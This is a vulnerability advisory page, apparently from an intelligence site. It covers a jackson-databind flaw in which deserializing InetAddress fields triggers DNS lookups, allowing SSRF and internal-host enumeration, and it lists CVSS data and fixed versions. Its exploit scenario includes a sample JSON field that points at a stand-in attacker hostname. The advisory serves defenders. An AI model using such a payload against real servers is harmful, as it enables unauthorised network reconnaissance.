Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Network-accessible deserialization with no authentication needed; impact confined to DNS-based information leakage with no integrity or availability consequence.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Lifecycle Timeline
3DescriptionCVE.org
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. Prior to versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1 on their respective release lines, the java.net.InetAddress branch of FromStringDeserializer.Std._deserialize() calls InetAddress.getByName() on attacker-controlled input, causing eager DNS resolution during deserialization and enabling DNS-based server-side request forgery and internal-host enumeration. This issue is fixed in versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1.
AnalysisAI
DNS-based server-side request forgery in jackson-databind exposes any Java application that deserializes user-supplied JSON into objects containing java.net.InetAddress-typed fields, causing the library to perform unsolicited outbound DNS lookups against attacker-controlled hostnames. Affected across all major release lines from 2.x through 3.x (com.fasterxml and tools.jackson.core artifact groups), the flaw allows unauthenticated remote attackers to enumerate internal hostnames and map internal network topology via DNS side-channels. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that the target application deserializes attacker-controlled JSON into a Java class that contains at least one field typed as `java.net.InetAddress` (or a subtype). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 5.3 Medium score (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) accurately reflects the bounded but real-world impact: network-reachable, zero-authentication exploitation limited to partial confidentiality loss through DNS-based information leakage. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker submits a JSON request body to any endpoint processed by a vulnerable jackson-databind version where the target data class includes a field of type `java.net.InetAddress`, setting that field's value to a hostname under the attacker's control (e.g., `"remoteHost": "attacker-probe.evil.example.com"`). The library's `FromStringDeserializer` immediately calls `InetAddress.getByName()` on parsing, causing the server to issue an outbound DNS query that the attacker observes on their resolver, confirming the server's IP and enabling iterative enumeration of internal hostnames by probing RFC-1918 reverse-DNS names or internal naming patterns. |
| Remediation | Upgrade to a fixed release on your current release line: com.fasterxml.jackson.core:jackson-databind 2.18.9, 2.21.5, or 2.22.1 (for 2.x users), or tools.jackson.core:jackson-databind 3.1.5 or 3.2.1 (for 3.x users), as documented in the vendor advisory at https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-vvgp-rfg2-7rr6. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allSame technique Deserialization
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-65088